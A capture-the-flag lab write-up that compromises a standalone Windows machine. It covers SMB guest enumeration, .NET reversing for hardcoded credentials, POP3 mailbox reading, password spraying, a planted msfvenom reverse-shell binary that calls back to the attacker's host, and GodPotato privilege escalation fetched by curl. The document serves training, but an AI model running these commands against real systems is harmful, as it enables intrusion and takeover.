Ronin66-Punk

,

Punk - Complete Penetration Testing Walkthrough

Introduction

This is a complete walkthrough and writeup for the Punk machine from the Ronin66 lab. Punk is a standalone (non-domain) Windows 11 / Server 2025 box that chains together a bit of everything: SMB guest access, some light .NET binary reverse engineering, credential hunting across an FTP log and a MailEnable mailbox, a default-password spray, and finally a scheduled-task abuse that drops us onto the host. From there we ride SeImpersonatePrivilege all the way to NT AUTHORITY\SYSTEM and grab both flags.

Tools Used: Nmap, NetExec, smbclient, monodis (mono-utils), ncat, msfvenom, Netcat, GodPotato

Difficulty: Easy / Medium

Key Techniques: SMB guest enumeration, RID brute force, .NET assembly reverse engineering, POP3 mailbox reading, password spraying, scheduled-task / prod-share code execution, SeImpersonatePrivilege abuse (GodPotato)

Initial Enumeration

Nmap Scan

We begin with a full service scan to map out the attack surface. This is a standalone machine — no domain, no DC.

1
nmap -Pn -sV -sC 172.16.18.15 -vvvv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
25/tcp    open  smtp          MailEnable smptd 10.53--
| smtp-commands: arakusa.corp [10.8.0.36], AUTH LOGIN, SIZE 40960000, HELP, AUTH=LOGIN
|_ 211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP
80/tcp    open  http          Microsoft IIS httpd 10.0
110/tcp   open  pop3          MailEnable POP3 Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          MailEnable imapd
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          MailEnable smptd 10.53--
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664-49673/tcp open msrpc    Microsoft Windows RPC

From the scan we get a good picture of what we’re dealing with:

  • Port 21: Microsoft FTP (anonymous access is disabled)
  • Ports 25 / 110 / 143 / 587: a full MailEnable mail stack (SMTP, POP3, IMAP)
  • Port 80: IIS 10.0
  • Ports 135 / 139 / 445: SMB and RPC

The mail stack and SMB are the most interesting surfaces, so that’s where we’ll start.

SMB Enumeration

Guest Access Discovery

FTP has no anonymous login, so we pivot to SMB and check whether the guest account is enabled and what it can see:

1
netexec smb 172.16.18.15 -u 'guest' -p '' --shares

share-dev

Guest is enabled, and there’s a readable dev share. Let’s connect and see what’s inside:

1
smbclient.py guest@172.16.18.15

share-files-dev

The share holds two files — an executable and a DLL. We download both:

1
2
3
4
file OldCyber2077.exe OldCyber2077.dll

OldCyber2077.exe: PE32+ executable for MS Windows 6.00 (console), x86-64, 10 sections
OldCyber2077.dll: PE32+ executable for MS Windows 4.00 (console), x86-64 Mono/.Net assembly, 2 sections

The DLL is a Mono/.NET assembly, which is great news — .NET decompiles almost back to source, so that’s where the logic (and hopefully some credentials) will live.

Reverse Engineering the .NET Assembly

Since the DLL is managed .NET, we disassemble it with monodis (part of mono-utils) and read the IL:

1
monodis OldCyber2077.dll | less

At the end of the file, in the static constructor, we hit the jackpot — a set of hardcoded strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
    // Method begins at RVA 0x2328
    // Code size 41 (0x29)
    .maxstack 8
    IL_0000:  ldstr "<REDACTED>:<REDACTED>"
    IL_0005:  stsfld string Cyber2077.Program::ftpCreds
    IL_000a:  ldstr "10.10.87.22"
    IL_000f:  stsfld string Cyber2077.Program::snmpTarget
    IL_0014:  ldstr "<REDACTED>"
    IL_0019:  stsfld string Cyber2077.Program::snmpPass
    IL_001e:  ldstr "<REDACTED>"
    IL_0023:  stsfld string Cyber2077.Program::snmpPass
    IL_0028:  ret
} // end of method Program::.cctor

So the binary hands us:

  • FTP credentials: <REDACTED>:<REDACTED>
  • An SNMP target on a different subnet: 10.10.87.22
  • SNMP creds: <REDACTED> / <REDACTED>

The 10.10.87.22 host is on another network, so we note it down as a likely later pivot and keep moving on the box in front of us.

Credential Hunting

FTP Log

Now that we have the FTP credentials, we log into FTP and dig through what’s there:

1
ftp 172.16.18.15

Inside a log file we find another set of credentials, this time for the mail service:

1
2
3
Contained artifact: smtp credentials found in config payload:
<REDACTED>
<REDACTED>

RID Brute Force

Before spraying anything, we build a user list. The guest session lets us RID-brute the local SAM:

1
netexec smb 172.16.18.15 -u 'guest' -p '' --rid

rid-users

This gives us the real local accounts — eric, alan, <REDACTED>, svc_v, alongside the usual built-ins. We drop them into users.txt and spray every credential we’ve collected so far:

1
netexec smb 172.16.18.15 -u users.txt -p '<REDACTED>' '<REDACTED>' '<REDACTED>' --continue-on-success

Reading the Mailbox

POP3 Login

The SMTP creds from the FTP log are worth reading mail with. MailEnable is picky about the login format — it wants the bare mailbox name, not the full email address. We connect over POP3:

1
2
3
4
5
6
7
8
ncat -C 172.16.18.15 110
USER <REDACTED>
PASS <REDACTED>
STAT
LIST
RETR 1
RETR 2
RETR 3

mail-it

Decoding the Messages

Two of the messages are base64-encoded. Decoding the first one gives us a company-wide notice from the CTO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Team,

There has been a public leak this year that affects default credentials on multiple vendor
devices and services. Effective immediately, **everyone must change any default passwords**
on the systems and appliances you manage.

In particular, please replace any use of the default password **<REDACTED>** with a unique,
strong password and document the change in the ticketing system. Focus first on:
- Network devices (switches, routers, firewalls)
- File shares and backups
- Service accounts exposed to the network

Confirm completion in the #it-ops channel or reply to this email once you have completed the
changes for your scope.

Thanks,
Eric
CTO
arakusa.corp

That hands us a default password: <REDACTED>.

The third message tells us exactly how the box wants us to get code execution:

1
2
3
Remove **Cyber2077.exe** from the **prod** share. **Disable the service / scheduled job that
automatically scans the prod share and executes that binary.** The prod-share job runs on the
host, references \\<server>\prod\cyber2077.exe, and will keep executing it.

Putting the two together: there’s a scheduled task that automatically executes whatever cyber2077.exe sits in the prod share, and <REDACTED> is a default password still in use somewhere. If we can find a user who can write to prod, we can drop our own cyber2077.exe and let the scheduled job run it for us.

Initial Access - Prod Share Code Execution

Spraying the Default Password

We spray <REDACTED> across our user list, hunting for anyone with write access to prod:

alan-access

The user alan works. We check his share access:

1
netexec smb 172.16.18.15 -u 'alan' -p '<REDACTED>' --shares

prod-share-access

alan has access to the prod share. That’s our code-execution primitive.

Building the Payload

We generate a reverse shell named exactly what the scanner expects — cyber2077.exe:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.36 LPORT=4444 -f exe -o cyber2077.exe

Start a listener:

1
nc -lvnp 4444

And drop the payload into the prod share:

1
smbclient //172.16.18.15/prod -U 'DESKTOP-CLM9MNF\alan%<REDACTED>'

Once the scheduled job fires, it executes our binary and we catch a shell.

shell-as-svc_v

The shell runs as svc_v — the service account behind the prod-share job.

Privilege Escalation to SYSTEM

Checking Privileges

Being a service account, svc_v almost always carries impersonation rights, and sure enough:

1
SeImpersonatePrivilege

That’s the golden ticket for a potato attack.

GodPotato

We pull GodPotato onto the box from our HTTP server:

1
curl http://10.8.0.36:9091/GodPotato-NET4.exe -o GodPotato-NET4.exe

got-potatoe

With SeImpersonatePrivilege, GodPotato impersonates the SYSTEM token. We can either pop a full shell or just run single commands as SYSTEM — here we go straight for the flags:

1
.\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.flg"

[*] CurrentUser: NT AUTHORITY\SYSTEM — the box is ours.

Grabbing the Flags

The root flag comes straight off the Administrator desktop as SYSTEM. For the user flag, we sweep every profile:

1
.\GodPotato-NET4.exe -cmd "cmd /c dir C:\Users\ /s /b | findstr /i \"user.flg user.txt user.flag flag.txt\""

The user flag turns out to be in the Public profile:

1
.\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Public\user.flg"

Both flags captured.

Conclusion

Punk was a fun standalone box that rewarded thorough enumeration and following the breadcrumbs in order:

  1. SMB guest access — a readable dev share exposed the reverse-engineering artifacts
  2. .NET reversing — hardcoded credentials pulled straight out of the Mono assembly with monodis
  3. Credential hunting — an FTP log and a MailEnable mailbox handed us the SMTP creds and a default password
  4. Prod-share abuse — a scheduled task auto-executing cyber2077.exe gave us code execution as svc_v
  5. SeImpersonatePrivilege — GodPotato took us from service account to NT AUTHORITY\SYSTEM

The lesson here is the usual one: default passwords (<REDACTED>) and hardcoded credentials in shipped binaries are a gift to an attacker, and a service account with impersonation rights turns any foothold into a full compromise. There’s also an SNMP target (10.10.87.22) that the binary pointed at — a nice thread to pull on for pivoting deeper into the lab.

Tools Used

  • Nmap
  • NetExec
  • smbclient
  • monodis (mono-utils)
  • ncat
  • msfvenom
  • Netcat
  • GodPotato